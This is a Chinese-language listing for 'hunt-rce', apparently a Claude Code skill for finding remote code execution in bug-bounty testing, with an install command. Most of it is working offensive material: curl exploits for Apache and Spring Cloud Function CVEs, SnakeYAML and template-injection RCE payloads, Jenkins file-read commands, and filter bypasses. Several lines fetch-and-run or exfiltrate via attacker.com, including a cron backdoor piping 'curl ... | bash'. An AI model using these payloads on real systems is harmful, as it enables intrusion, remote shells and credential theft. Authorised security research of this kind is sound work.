mcpField
H
hunt-rce

hunt-rce

github.com/uphiago安全1.3k43 次安装8 周前更新
代码仓库

关于 hunt-rce

hunt-rce 是用于发现和验证 Web 应用及基础设施中远程代码执行路径的安全测试技能。它为漏洞赏金研究人员提供结构化流程、攻击面线索、检测探测和验证方法。

主要功能

  1. 01执行上下文梳理
  2. 02管理界面侦察
  3. 03模板与解析器注入检查
  4. 04依赖混淆测试
  5. 05带外 RCE 验证
  6. 06权限链评估

适用场景

  1. 01检查管理控制台中的注入风险
  2. 02测试 YAML 和 XML 处理端点
  3. 03调查暴露的软件包注册表
  4. 04在漏洞赏金测试中验证盲执行

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/uphiago/recon-skills --skill hunt-rce

安装后在 Claude Code 中输入/hunt-rce确认已加载。

详细介绍

适用场景

当目标存在任何通过执行层处理用户可控输入的端点时使用,例如模板引擎、Shell 命令、YAML/XML 解析器、操作中使用的文件路径、包解析或配置文件。RCE 是收益最高的漏洞类别,因为它能直接控制目标基础设施上的执行。每个管理/管理控制台、模板/预览端点、上传处理器、反序列化入口和依赖解析器都可能成为目标。价值最高的目标:企业服务器产品(GHES、自托管 GitLab)、供应链/包注册表、云原生基础设施,以及管理/管理控制台。

核心目标

RCE 漏洞在漏洞赏金计划中通常能获得最高奖金,因为它们能让攻击者直接控制目标基础设施上的执行。价值最高的目标包括:

奖金最高的资产类型:

  • 企业服务器产品(GitHub Enterprise Server、自托管 GitLab)——从低权限控制台角色到 root SSH 访问权限的提权链,通常能获得严重/高危评级
  • 供应链/包注册表——针对 npm、PyPI 等的依赖混淆攻击,在每个主要计划中都达到严重级别
  • 云原生基础设施——暴露的 Kubernetes API 服务器、入口控制器和配置错误的 CI/CD 流水线
  • 移动应用后端和 OAuth 流程——服务器端对攻击者可控数据的处理涉及执行上下文的场景
  • 管理/管理控制台——配置面板中的模板注入可通过单个载荷获得 root 权限

此类漏洞奖金最高的原因:

  • 影响范围覆盖整个基础设施,而非仅限于用户
  • 概念验证明确无误——Shell 输出不容置疑
  • 修复需要架构层面的变更,而不仅仅是打补丁
  • 计划无法承担漏报 RCE 的风险

攻击面信号

URL 模式
/management-console/*
/admin/settings/*
/api/v*/exec
/api/v*/run
/webhook/*
/_internal/*
/import?url=
/render?template=
/preview?format=
响应头 / 技术栈信号
X-Powered-By: Express          # Node.js — npm dependency surface
X-Powered-By: Phusion Passenger
Server: nginx (ingress-nginx)  # Kubernetes ingress — path field injection
X-Runtime: Ruby                # Rails ActiveStorage, RDoc, REXML attack surface
Content-Type: application/yaml # YAML parsers (SnakeYAML, Psych) — deserialization
X-GitHub-Enterprise-Version    # GHAS — nomad template, collectd, syslog-ng injection
JavaScript / 前端信号
// Look for these patterns in JS bundles
fetch('/api/exec', {method:'POST', body: cmd})
eval(userInput)
new Function(userInput)
document.write(unsafeData)
window.location = userControlled  // URL scheme bypass → JS execution
技术栈信号
信号RCE 攻击途径
配置界面中的 nomad模板注入 → {{ ... }}
可编辑的 syslog-ng 配置配置注入 → program() 目标
可编辑的 collectd 配置插件执行注入
类路径中存在 SnakeYAML!!javax.script.ScriptEngineManager [...]
npm package.json 中存在内部作用域依赖混淆
ingress-nginx 注解路径字段正则表达式绕过

分步狩猎方法

  1. 先梳理执行上下文。 在测试负载之前,找出所有用户可控输入会触及执行层的位置:模板引擎、Shell 命令、YAML 解析器、操作中使用的文件路径、包解析,以及配置文件。

  2. 枚举管理/控制界面。 爬取 /management-console、/admin、/_internal、/setup、/config。这些界面的认证门槛较低、权限较高——GHES 集群仅凭一个控制台角色就产生了 6 个独立的 RCE。

  3. 检查每个配置字段中的模板注入。 在任何接受自由格式配置的管理 UI 中(日志目标、通知格式、代理设置),提交 {{7*7}}、${7*7}、<%= 7*7 %>。检查响应、日志或 DNS 回连中是否出现 49。

  4. 测试 YAML/XML/序列化输入是否可执行代码。 对任何接受 Content-Type: application/yaml 或 application/xml 的端点:

    • SnakeYAML:提交 !!javax.script.ScriptEngineManager gadget
    • Ruby YAML:提交 !ruby/object:Gem::Installer gadget
    • REXML:提交 billion-laughs/二次复杂度膨胀 XML
  5. 搜寻依赖混淆。 对于 JS 包、错误消息或公开仓库中的 package.json 可见的每个 npm/pip/gem 内部包名,在公共注册表上注册一个版本号更高、指向 canary 回调的包。

  6. 检查文件路径操作是否存在路径遍历 → 执行。 ActiveStorage、文件上传处理器、符号链接操作:将 ../../../etc/cron.d/shell 作为文件名提交。确认写入成功,然后触发执行。

  7. 审计 Kubernetes/云原生界面。 对任何暴露的 API 服务器运行 kubectl。检查 ingress 注释,尤其是 nginx.ingress.kubernetes.io/configuration-snippet 和 spec.rules.http.paths.path 是否存在 Lua/正则注入。

  8. 测试 OAuth 重定向 URI 和 URL 方案处理器。 通过 OAuth 重定向处理 javascript: 或 intent:// URI 的移动应用可能会执行 JavaScript。尝试 javascript:alert(document.cookie) 和自定义方案 URI。

  9. 通过带外回调验证。 绝不能只依赖可见输出。使用 Burp Collaborator、interactsh 或 canarytokens.org DNS 令牌。后端处理器中常见盲 RCE。

  10. 串联权限。 低严重性配置错误(编辑者角色、CSRF、路径遍历)与 RCE 原语相结合,就会达到严重级别。始终要问:“我从这里可以触及什么?”


负载与检测模式

模板注入探测
# Generic polyglot — works across Jinja2, Twig, Freemarker, Pebble, Velocity
{{7*7}}${7*7}#{7*7}<%= 7*7 %>*{7*7}
{{'7'*7}}
{{config}}
{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()}}

# Nomad template injection (Go text/template)
{{ env "NOMAD_SECRET_ID" }}
{{ with secret "secret/data/prod" }}{{ .Data.password }}{{ end }}
{{ runscript "id" }}
Apache HTTP Server 别名路径遍历(CVE-2021-41773 / CVE-2021-42013)

Apache 2.4.49 中的路径规范化漏洞(以及 2.4.50 的补丁绕过问题)允许攻击者通过配置的别名路径,利用点编码片段逃逸 DocumentRoot。根据接受路径遍历的别名不同,同一原语会造成截然不同的影响:

  • 不含 Options +ExecCGI 的别名(例如 /icons/)→ 仅可任意读取文件
  • 含 Options +ExecCGI 的别名(例如 /cgi-bin/)→ 可任意执行代码

版本指纹:

curl --max-time 30 --connect-timeout 10 -sI http://target/ | grep -i "Server:"
# Vulnerable: Apache/2.4.49 (CVE-2021-41773) or Apache/2.4.50 (CVE-2021-42013)
# Patched:    Apache/2.4.51+

文件读取测试(任意别名):

curl --max-time 30 --connect-timeout 10 --path-as-is "http://target/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"
# Note: --path-as-is is REQUIRED — curl normalizes %2e by default

RCE 测试(仅限启用 cgi 的别名):

curl --max-time 30 --connect-timeout 10 --path-as-is -X POST \
  -d "echo Content-Type: text/plain; echo; id; uname -a; hostname" \
  "http://target/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"

分流纪律说明: 当同一个路径遍历原语在多个别名上都有效,但只有一个启用了 CGI 时,严重性应按最大影响判定,而不是取平均值。在 /icons/ 上发现“文件读取”问题后,应始终通过重新探测 /cgi-bin/(以及服务器信息泄露或响应模式中 <Directory> 块可见的任何其他别名)提升其严重性。参见 triage-validation Pre-Severity Gate。

Spring Cloud Function SpEL 注入(CVE-2022-22963)

Spring Cloud Function ≤ 3.2.2(以及 ≤ 3.1.6)会在 /functionRouter 端点上未经身份验证地将 spring.cloud.function.routing-expression 标头作为 SpEL 表达式求值,并且此操作发生在任何路由逻辑之前。该组件广泛部署于 AWS Lambda、Cloud Run 和本地函数平台。由于 /functionRouter 会自动注册,开发者又不会添加显式的访问控制,因此它通常会暴露在外网。

检测:

  • 使用 Spring 风格的 8080 端口,且 /uppercase、/lowercase 或任意单词函数端点会响应 200
  • 使用 curl --max-time 30 --connect-timeout 10 -s http://target:8080/uppercase -H "Content-Type: text/plain" --data-binary "test" 确认 → 返回 TEST
  • 通过 /actuator/info 或响应标头获取版本横幅

利用:

curl --max-time 30 --connect-timeout 10 -X POST http://target:8080/functionRouter \
  -H "Content-Type: text/plain" \
  -H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(new String[]{"id"})' \
  --data "x"

当 SpEL 标头包含括号或引号时,new String[]{"...", "..."} 数组形式可以避免 shell 引号问题,而这些问题会导致更常见的 .exec("id") 形式失效。

**适用范围:**任何将用户输入传入 SpelExpressionParser.parseExpression() 调用的 Spring 应用,尤其是通过绕过常规身份验证过滤器的标头/查询参数路由传入时。有关更全面的 SpEL 指纹识别,请参阅 hunt-ssti(*{7*7} = Spring Thymeleaf)。

SnakeYAML RCE 利用链
!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://attacker.com/exploit.jar"]
  ]]
]
Ruby YAML / rdoc_options RCE
--- !ruby/object:Gem::Installer
i: x
依赖混淆检测
# Find internal package names
grep -r '"name"' node_modules/ | grep '@internal\|@company\|@private'
# Check if public registry has higher version
npm view @target-company/internal-package version 2>/dev/null
Ingress-nginx 路径注入
# In spec.rules.http.paths.path
/something)(;.*);#
# Results in nginx config injection
Kubernetes 暴露的 API 检查
curl --max-time 30 --connect-timeout 10 -sk https://TARGET:6443/api/v1/namespaces/default/pods \
  -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"
kubectl --insecure-skip-tls-verify -s https://TARGET:6443 get pods --all-namespaces
带外 RCE 确认
# Payload to confirm blind RCE via DNS
curl --max-time 30 --connect-timeout 10 "http://$(id | base64).YOUR-INTERACTSH-URL/"
nslookup $(whoami).attacker.com
wget http://attacker.com/$(cat /etc/hostname)
ActiveStorage 路径遍历 → RCE
# Filename in upload request
filename="../../../../etc/cron.d/backdoor"
# Cron payload content
* * * * * root curl http://attacker.com/shell | bash
Args4j @ 前缀文件扩展(Jenkins CVE-2024-23897 系列)

基于 args4j 库构建的 Java CLI 默认启用 expandAtFiles=true,会读取 @filename 参数所指的文件,并将每行作为单独的命令参数处理。当此类 CLI 通过 HTTP 暴露时(Jenkins CLI 是典型案例),服务端错误消息会回显解析失败的参数,从而将参数回显变成任意文件读取原语。如果启用了“匿名读取访问”(新安装的 Jenkins 默认启用),则无需身份验证即可利用。

检测:

  • 目标暴露了 /cli 和 /jnlpJars/jenkins-cli.jar(Jenkins 系列)
  • 或者:任何 CLI 源码使用 args4j 且未设置 expandAtFiles=false 的 Java 应用

测试(Jenkins):

# Get the legit CLI jar from the target
curl --max-time 30 --connect-timeout 10 -sLO http://target:8080/jnlpJars/jenkins-cli.jar

# First line of file leaks via 'help' error
java -jar jenkins-cli.jar -s http://target:8080/ -http help 1 @/etc/passwd
# → ERROR: Too many arguments: root:x:0:0:root:/root:/bin/bash

# Full file leaks via 'connect-node' (every line returned as a "no such agent" error)
java -jar jenkins-cli.jar -s http://target:8080/ -http connect-node @/etc/passwd
# → All passwd lines echoed back

# Recon: env vars + JENKINS_HOME path
java -jar jenkins-cli.jar -s http://target:8080/ -http help 1 @/proc/self/environ

确认 JENKINS_HOME 后的核心文件:

  • /var/jenkins_home/secret.key — 已存储凭据的主加密密钥
  • /var/jenkins_home/secrets/master.key — 用于派生加密密钥
  • /var/jenkins_home/credentials.xml — 凭据存储(使用 secret.key 加密 — 配合离线 decrypttools 使用)
  • /var/jenkins_home/users/*/config.xml — 每位用户的 API 令牌(通常未加密)
  • /var/jenkins_home/jobs/*/config.xml — 可能直接包含 AWS 密钥、SSH 密钥和注册表令牌的流水线配置

**此模式不只适用于 Jenkins。**任何满足以下条件的 Java 服务:

  1. 集成 args4j(自 2010 年代以来,大多数企业级 Java CLI 都使用它)
  2. 通过 HTTP 暴露 CLI 处理程序(Jenkins、Hudson 分支、内部自定义工具)
  3. 将参数解析错误原样返回给客户端

→ 同样适用任意文件读取原语。通过 triage-validation 的可复现性门槛进行验证:至少在 2 条不同命令(例如 help 和 connect-node)上确认信息泄露,并核实响应中实际包含文件内容,而不只是通用的 500 错误。

源码审查用 Grep 模式
# Command injection sinks
grep -rn "exec\|system\|popen\|spawn\|eval\|subprocess" --include="*.rb" .
grep -rn "Runtime.exec\|ProcessBuilder\|ScriptEngine" --include="*.java" .

# Template engine instantiation
grep -rn "Mustache\|Handlebars\|nunjucks\|render_template\|Template\(" .

# Unsafe YAML load
grep -rn "yaml\.load\b\|YAML\.load\b" . # without Loader= argument
grep -rn "Yaml()\|new Yaml()" --include="*.java" .

常见根本原因

1. 配置即代码,但缺少充分的清理 管理员通过 Web UI 编辑配置文件(syslog-ng、collectd、nomad)。开发者认为管理员就是可信用户,因此会直接将字段值传入支持执行原语的配置文件(program() 目标、exec 插件、模板函数)。

2. 在特权上下文中使用模板引擎 系统配置渲染使用了 Go 的 text/template、Freemarker、Velocity 和 Twig。如果用户可控的字符串未经沙箱处理就传入这些引擎,就可能导致任意代码执行。

3. 依赖混淆/命名空间抢注 内部软件包发布到私有注册表时,未锁定公共注册表中的命名空间。构建系统默认优先使用公共注册表,或在私有注册表找不到软件包时回退到公共注册表。

4. 不安全地反序列化 YAML/XML 开发者在没有使用安全加载器的情况下调用 YAML.load(),或使用 new Yaml()(SnakeYAML)时未限制类型。Ruby 的 YAML.load 和 Java 的 SnakeYAML 默认都支持任意对象实例化。

5. 文件操作链中的路径遍历 接受用户输入的文件名后,未进行规范化就用于文件系统操作。Rails ActiveStorage、文件上传处理程序和 rdoc 生成器都信任 filename 参数。

6. 误以为低权限角色无法触及执行上下文 GHES 管理控制台允许“Editor”角色访问会触发 shell 执行的配置字段。开发者认为权限边界已在更高的架构层级建立。

7. 面向基础设施的字段缺少输入验证 Ingress/nginx 注解值、Kubernetes spec 字段和 webhook URL 都被当作不透明字符串处理,但下游处理程序(nginx 配置生成器、正则表达式引擎)会将它们解释为代码。


绕过技术

绕过:Shell 元字符过滤
# Blocked: ; | & ` $()
# Bypass using $IFS and encodings
cat${IFS}/etc/passwd
{cat,/etc/passwd}
$'\x63\x61\x74' /etc/passwd  # hex encoding
$(printf '\x63\x61\x74') /etc/passwd

# Newline injection when semicolons blocked
payload=$'\ncurl attacker.com\n'
绕过:URL scheme 允许列表(已屏蔽 javascript:)
# Mobile apps often block javascript: but miss:
jAvAsCrIpT:alert(1)          # case variation
javascript&#58;alert(1)      # HTML entity
javascript:void(alert(1))    # void wrapper
intent://attacker.com#Intent;scheme=javascript;...
data:text/html,<script>alert(1)</script>
绕过:YAML safe_load/类型限制
# If !!java.* is blocked, try legitimate classes with side effects
!!com.sun.rowset.JdbcRowSetImpl
  dataSourceName: 'ldap://attacker.com/a'
  autoCommit: true
# Or find allowlisted types with dangerous constructors
绕过:npm scope 限制
# If @company/* is monitored, look for unscoped internal names
# e.g., "internal-utils" instead of "@company/internal-utils"
# Public registries serve unscoped packages first
绕过:路径遍历过滤器
# Basic filter bypass
../           → ..%2F → %2e%2e%2f → ....// 
# Double encoding
%252e%252e%252f
# Unicode normalization
..%c0%af  (overlong UTF-8)
# Null byte (older systems)
../../etc/passwd%00.jpg
绕过:带输出过滤的模板注入
# If {{ }} is sanitized on output but not evaluation:
{% for x in range(1) %}{{ lipsum.__globals__.os.popen('id').read() }}{% endfor %}
# Blind — use DNS callback instead of output
{{ lipsum.__globals__.os.popen('nslookup $(id).attacker.com').read() }}
绕过:WAF 屏蔽 exec、system、popen
# Ruby
send(:system, "id")
method(:exec).call("id")
Kernel.send(:`, "id")
Object.const_get(:Kernel).system("id")

Gate 0 验证

编写报告前,请确认以下三点:

1. 攻击者现在能做什么? 你必须能够演示以下至少一项:执行 id/whoami 并捕获输出;从目标服务器向你控制的主机发起 DNS/HTTP 回连;向文件系统写入文件;或读取 /etc/passwd。“可能做得到”无法通过此关。

2. 受害者会失去什么? 明确说明具体影响:源代码泄露、凭据窃取(数据库、API 密钥、云 IAM)、横向移动至内部网络、下游用户遭遇供应链攻击、数据销毁。笼统地说“攻击者获得 RCE”无法通过此关——请指出面临风险的核心资产。

3. 能否从头开始在 10 分钟内复现? 提交前先写好复现步骤。如果所需内容超出:(a) 一个 Burp 请求、(b) 一个 payload 文件和 (c) 一个监听器,就请简化。如果复现需要特定的竞争条件、时序或临时状态,请记录确切条件。无法一次复现的分诊人员会降低报告等级或关闭报告。


真实影响案例

场景 A:管理控制台角色 → Root Shell(企业服务器) 攻击者在某个 GitHub Enterprise Server 实例上拥有权限较低的“管理控制台编辑者”账户,并发现 syslog-ng 配置界面接受自由格式的“目标”字段。攻击者注入了一个包含反向 Shell 命令的 program() 目标,导致以 root 身份运行的 syslog-ng 守护进程在收到日志时执行任意操作系统命令。在 collectd 的 exec 插件配置和 nomad 的作业模板渲染中,也独立发现了相同的攻击面——这些攻击面都可通过同一个编辑者角色访问。影响:完全攻陷托管组织全部源代码、机密和 CI/CD 流水线的企业 Git 服务器,取得 root 权限。

场景 B:依赖混淆 → 构建基础设施上的 RCE 一名研究人员通过检查目标 CDN 端点提供的 JavaScript bundle,以及属于某大型支付平台的公开 GitHub 仓库,枚举出内部 npm 包名。多个 @internal/* 作用域包被引用,但未在公共 npm 注册表中注册。研究人员发布了名称相同、版本号更高的包,其中包含一个会执行 canary 回调的 postinstall 脚本。数小时内,该回调便从多个属于目标 CI/CD 构建集群的 IP 地址触发,证实其构建基础设施上的每次 npm install 都会执行攻击者控制的代码。同一技术也成功攻击了一家网约车平台的内部工具。影响:在可访问生产部署凭据和签名密钥的构建服务器上执行任意代码。

场景 C:暴露的 Kubernetes API → 接管集群 一名研究人员在侦察目标的云基础设施时,发现一个可公开访问且 RBAC 权限过于宽松的 Kubernetes API 服务器(端口 6443)。研究人员利用默认服务账户令牌和未经身份验证的 API 调用枚举正在运行的 Pod,从 default 命名空间中获取机密(包括数据库凭据和第三方 API 密钥),并演示了生成具有 hostPID: true 的特权 Pod 的能力,从而能够完全攻陷节点。该 Kubernetes 集群管理着目标的核心生产服务。影响:访问所有存储的机密、部署恶意工作负载的能力,以及横向移动到集群中的每项服务。


攻击链与组合(高级漏洞挖掘)

2020—2026 年的 RCE 很少只涉及单一入口。每个现代 RCE 都由两部分组成:(1)一种原语,可将攻击者字节写入主机或反序列化管道;(2)一个执行小工具,用于解释这些字节。以下攻击链将六种高收益 RCE 模式拆解为其组成原语——每一步都可以单独测试,而真正带来收益的是整个攻击链。

攻击链 1 — SSRF + IMDSv1 + 泄露的 IAM 角色 → Lambda 调用 → 后端 RCE(Capital One 模式)
  • A. 服务器端获取器(链接预览、图像代理、Webhook URL、PDF 生成器)中的 SSRF。通过 Burp Collaborator OOB 回调确认。
  • B. 将 SSRF 指向 AWS IMDSv1 元数据:http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/<role> → 返回临时 STS 凭据。
  • C. 使用这些凭据运行 aws lambda invoke --function-name <internal-function>——Lambda 会运行服务器端代码,攻击者可通过函数的输入参数影响该代码。
  • 影响: 在 Lambda 上下文中完全实现后端 RCE,并可进一步横向移动到该角色获准访问的其他资源(S3 / DynamoDB / RDS)。
  • 真实案例: Capital One 2019 年事件——罚款 8,000 万美元,攻击者被判有罪。EC2 上 WAF 中的 SSRF → IMDSv1 → IAM 角色 → 通过 S3 同步导致 1.06 亿条记录泄露。交叉引用 hunt-ssrf 披露报告引文 #6。
链 2 — SQLi + COPY FROM PROGRAM → 在 Postgres 主机上直接实现操作系统级 RCE
  • A. 已确认 Postgres 后端存在 SQLi(布尔型/基于时间的注入可行;无需 UNION)。
  • B. 数据库用户具有 pg_read_server_files 或 COPY 权限(许多 AWS RDS / Google Cloud SQL 角色在存在“admin”数据库时默认拥有此权限)。
  • C. 拼接查询:'; COPY users FROM PROGRAM 'curl http://attacker/x.sh | bash'; -- → Postgres 通过 /bin/sh -c <attacker command> 启动子进程 → 以 postgres 用户身份实现 RCE。
  • 影响: 以数据库用户身份实现 RCE;在托管 Postgres 上,该用户通常具有 IAM 凭证,并可直接访问其他 AWS 资源。
  • 实际案例特征: 2020-2024 年间,多个由 Postgres 支撑的 SaaS 应用在 H1 上披露了此类问题。交叉参考 hunt-sqli 已披露报告引用 #12,以及有关 FILE/xp_cmdshell 权限的根因讨论。
链 3 — 图片上传 + 文件名中的路径遍历 + MIME 配置错误 → Webshell
  • A. 文件上传接口接受图片(image/png、image/jpeg)。服务器使用用户提供的文件名保存文件,或只验证 Content-Type,不验证实际内容。
  • B. 上传带有正确图片魔数(GIF89a 后接 PHP 代码)的 .aspx/.jsp/.php 文件,并使用包含 ../ 的文件名,将文件写入上传目录之外的 Web 根目录(../../../public/webshell.php)。
  • C. 请求 https://target/webshell.php?cmd=id — 即使扩展名策略禁止此操作,服务器的 PHP/ASP.NET 处理程序仍会执行脚本,因为该路径未经过上传目录过滤器。
  • 影响: 未经身份验证或权限较低的攻击者可在应用服务器上获取 Webshell,并拥有 Web 服务器进程的权限。
  • 实际案例特征: 多个已披露的 H1 案例涉及旧版上传处理程序;这是 2020 年之前常见的 RCE 类型。可结合 hunt-file-upload(上传绕过表)和 hunt-misc 路径遍历模式使用。
链 4 — 原型污染 + Lodash/Mongoose Gadget 链 → child_process.spawn → Node RCE
  • A. 找出原型污染入口 — 接收攻击者 JSON 的 JSON 合并、Object.assign、lodash _.merge 或 Node Object.create 链。
  • B. 将 Object.prototype.shell 污染为 true,或将 Object.prototype.env.NODE_OPTIONS 污染为 --require ./malicious.js。被污染的原型会传递到下游的 child_process.spawn 或 vm.runInThisContext。
  • C. 入口使用攻击者控制的 shell/env 执行 → 攻击者代码在 Node.js 进程上下文中运行,可完全访问环境变量、AWS 元数据和内部服务。
  • 影响: 通过 JSON POST 实现服务器端 JS 执行。在使用 body-parser + lodash.merge 合并配置的 Express 应用中很常见。
  • 实际案例特征: lodash.merge CVE-2018-16487、CVE-2019-10744、CVE-2020-8203;mongoose CVE-2024-53900(交叉参考 hunt-sqli 已披露报告引用 #10 — 同一 Gadget 家族可通过 Mongo $where 而非进程实现攻击)。
链 5 — 未加密的 ViewState + 恢复的 MachineKey → ASP.NET 反序列化 → RCE(ToolShell 类)
  • A. 找出一个 __VIEWSTATEENCRYPTED="" 的 ASP.NET 端点(ViewState 已签名,但未加密)。通过 Burp / curl 在包含表单的页面上确认。
  • B. 恢复 <machineKey> validationKey——通过配置泄露(/web.config 可访问)、接管使用相同密钥的兄弟应用子域,或通过 CVE-2025-53771 ToolShell 漏洞利用链从 Subscription Edition 中窃取密钥。
  • C. 使用 ysoserial.net --plugin=ViewState --validationkey=<key> 和 TypeConfuseDelegate / WindowsIdentity 负载伪造 ViewState。将其提交到该端点。ASP.NET 会将其反序列化为以 Process.Start 结尾的方法调用 gadget 链 → 以工作进程身份实现 RCE。
  • 影响: 在 IIS Web 前端上完全实现 RCE,权限取决于 AppPool 身份所授予的权限——通常是 NETWORK SERVICE(可访问 SharePoint 场账户)或更高权限。
  • 真实案例: CVE-2025-53770 / 53771 ToolShell(2025 年 7 月紧急公告);SP2013 因 EoL 未打补丁而暴露。交叉引用 hunt-sharepoint ToolShell 前置条件链,以及 hunt-aspnet ViewState 双解析器反模式。
链 6 — XXE + PHP expect:// 流包装器 → 旧版 PHP 上的直接 RCE
  • A. 通过 OOB DTD 回调确认 XXE(<!ENTITY % x SYSTEM "http://attacker/dtd">)。
  • B. 目标运行启用了 expect 扩展的 PHP(2026 年已很少见,但仍存在于旧版主机和部分共享主机提供商上)。
  • C. 发送 <!DOCTYPE foo [<!ENTITY xxe SYSTEM "expect://id">]><foo>&xxe;</foo>——PHP 的流包装器通过 expect 执行 id → 输出通过实体展开或 OOB 返回。
  • 影响: 以 PHP / Web 服务器用户身份实现 RCE,无需单独的上传或 SQLi 原语。
  • 真实案例: Rockstar Games 徽章编辑器 XXE H1 #347139(2018 年,$1,500);Adobe Commerce CosmicSting CVE-2024-34102(XXE → 通过加密密钥窃取实现 RCE)。交叉引用 hunt-xxe 已披露报告引用 #7 和 #10。
操作者层面的模式

每条现代 RCE 链都分为两部分:字节到达目标(SSRF、SQLi、上传、原型污染、ViewState、XXE),以及字节被解释执行(lambda 调用、COPY PROGRAM、webshell 处理程序、child_process.spawn、反序列化 gadget、expect://)。搜寻第一部分;第二部分通常是以上六种之一。如果你的第一部分原语无法与其中任何一种组合——提交前请暂停。“可能导致 RCE”属于低 / 中危;“已端到端证明 RCE”属于严重。

交叉引用:

  • hunt-ssrf — 链 1
  • hunt-sqli — 链 2
  • hunt-file-upload — 链 3
  • hunt-api-misconfig(原型污染)— 链 4
  • hunt-sharepoint + hunt-aspnet — 链 5
  • hunt-xxe — 链 6
  • hunt-deserialization — YAML/XML/Ruby/Java 反序列化是通往 RCE 的并行路径。链原语:SnakeYAML !!javax.script.ScriptEngineManager gadget 搭配攻击者托管的 JAR → 在任何处理 YAML 的 Java 服务上实现 RCE;Python pickle __reduce__ → 在任何反序列化攻击者字节的 Python 服务上实现 RCE。

验证

运行此自测以确认已准备好搜寻 RCE:

  1. 技能完整性 — 确认技能文件可读取且格式正确:

    grep -q "name: hunt-rce" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL"
    grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL"
    
  2. 类别检查 — 确认技能包含类别:

    grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL"
    
  3. 陷阱章节 — 确认已记录陷阱:

    grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
    

全部 3 项测试均通过,即可确认技能结构正确,可以使用。


常见陷阱

  • 非生产环境中的命令注入 — ; id 返回用户名并不意味着存在 RCE,除非你能将其升级为任意命令执行。
  • 对部分受控输入使用 eval/exec — 如果只有部分输入会传入 eval,利用难度可能更高。请说明你能控制哪些内容。
  • 未经确认的 OOB RCE — 在盲 RCE 中,curl attacker.com 能证明命令执行。仅有 DNS 回连的证据较弱。
  • 没有 gadget chain 的反序列化 RCE — ysoserial URLDNS 能证明存在反序列化,但不能证明存在 RCE。需要 Runtime.exec gadget。
  • 未实现代码执行的模板注入 — {{7*7}} 返回 49 能证明存在 SSTI。要达到 RCE 严重程度,还需将其升级为实际代码执行。

相关技能与利用链

  • hunt-ssti — 命中 eval()/exec()/os.system() 的模板引擎,可能让 RCE 隐藏在渲染调用之后。利用链示例:Jinja2 的 {{config.__class__.__init__.__globals__['os'].popen('id').read()}} 在邮件模板预览中回显 → 未经身份验证即可获得以工作进程身份运行的 RCE。
  • hunt-file-upload — 当上传目录可通过 Web 访问、文件会由反序列化器处理,或会被 .htaccess/web.config 加载时,文件写入原语可升级为 RCE。利用链示例:SVG/PHP 多态文件绕过 MIME 检查 → 直接执行 GET /uploads/shell.php?cmd=id → RCE;或使用带有 phar:// 流包装器的 DOCX → PHP 对象反序列化 → RCE。
  • hunt-ssrf — 当 RCE 原语位于仅限内部访问的端点(管理控制台、内部 Redis、Jenkins 脚本控制台)时,可通过 SSRF 触发。利用链示例:外部 SSRF → http://127.0.0.1:8080/manage/scriptText(Jenkins/Tomcat)→ Groovy Runtime.exec → RCE;或 SSRF → gopher://redis:6379 写入 crontab → RCE。
  • hunt-aspnet — ASP.NET ViewState 反序列化是一个庞大的 RCE 类别,入口是已知的 __VIEWSTATE 参数。利用链示例:恢复 machineKey(或从 web.config 信息泄露中获取 <machineKey>)→ ysoserial.net -p ViewState -g TypeConfuseDelegate → 以 IIS APPPOOL\<name> 身份运行的 RCE。
  • security-arsenal — 一旦发现接收序列化字节的汇点,就应使用反序列化载荷树(ysoserial Java gadget chain、用于 .NET ViewState/BinaryFormatter 的 ysoserial.net、Python pickle __reduce__、Ruby Marshal、PHP phar:// 元数据、Node node-serialize IIFE)。
  • triage-validation — 在声称存在 Critical 问题之前,先通过严重性预检关卡。最终发现只能写入文件、没有执行路径的“盲 RCE”并非 RCE;无法访问 os 的沙箱化 eval,最多属于 Medium SSTI。在撰写报告前,使用唯一标记证明 whoami/OOB DNS 回连。

评论

支持 Markdown